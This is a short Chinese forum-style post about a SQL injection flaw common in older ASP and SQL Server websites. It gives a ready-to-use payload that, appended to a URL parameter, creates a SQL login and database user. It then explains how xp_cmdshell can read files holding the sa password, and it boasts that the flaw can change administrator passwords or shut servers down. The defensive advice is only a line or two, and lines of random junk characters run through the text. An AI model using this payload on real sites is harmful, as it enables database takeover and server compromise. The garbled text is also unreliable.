为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。
+ N2 d5 x8 m/ V9 t; n BUG描述:
0 ^( V! z. w! G" \& z7 z) w 把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--
- S6 j* I8 @ W) ?4 E7 @/ O2 k BUG讲解:' c) j* p8 C$ _
这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。
8 F: M* R" ~% `8 J- I! f6 k& o BUG消除:
& l; y. {5 [1 n* S1 X5 K" } 程序增加参数过滤& Q) l- h6 L) j
附:sp_addlogin和sp_adduser语法
8 F4 o% g! T5 g+ P& y. j& Fsp_addlogin [@loginame =] 'login'
& i* |+ E& o t: R# W# N [,][@passwd =] 'password']
5 B8 h Q+ O7 `* H [,][@defdb =] 'database']% S% c y- R: `, F) r
[,][@deflanguage =] 'language']" }8 Y! p8 k+ |
[,[@sid =] 'sid']9 v& a" ^' c: ^+ y: }) v+ ?7 N
[,][@encryptopt =] 'encryption_option']
$ r F! a1 |0 v4 |% c* Esp_adduser [@loginame =] 'login'
. z/ {% }: b/ q- M [,][@name_in_db =] 'user']. G$ s' z! a; t0 N
[,][@grpname =] 'group'] |$ ?% Y @3 M4 x& k5 i6 ]# i
注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^
$ O2 I& C& Q' x( o. B9 Q嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等
6 n4 K$ Z% ^# Q! r. `$ H/ l) U |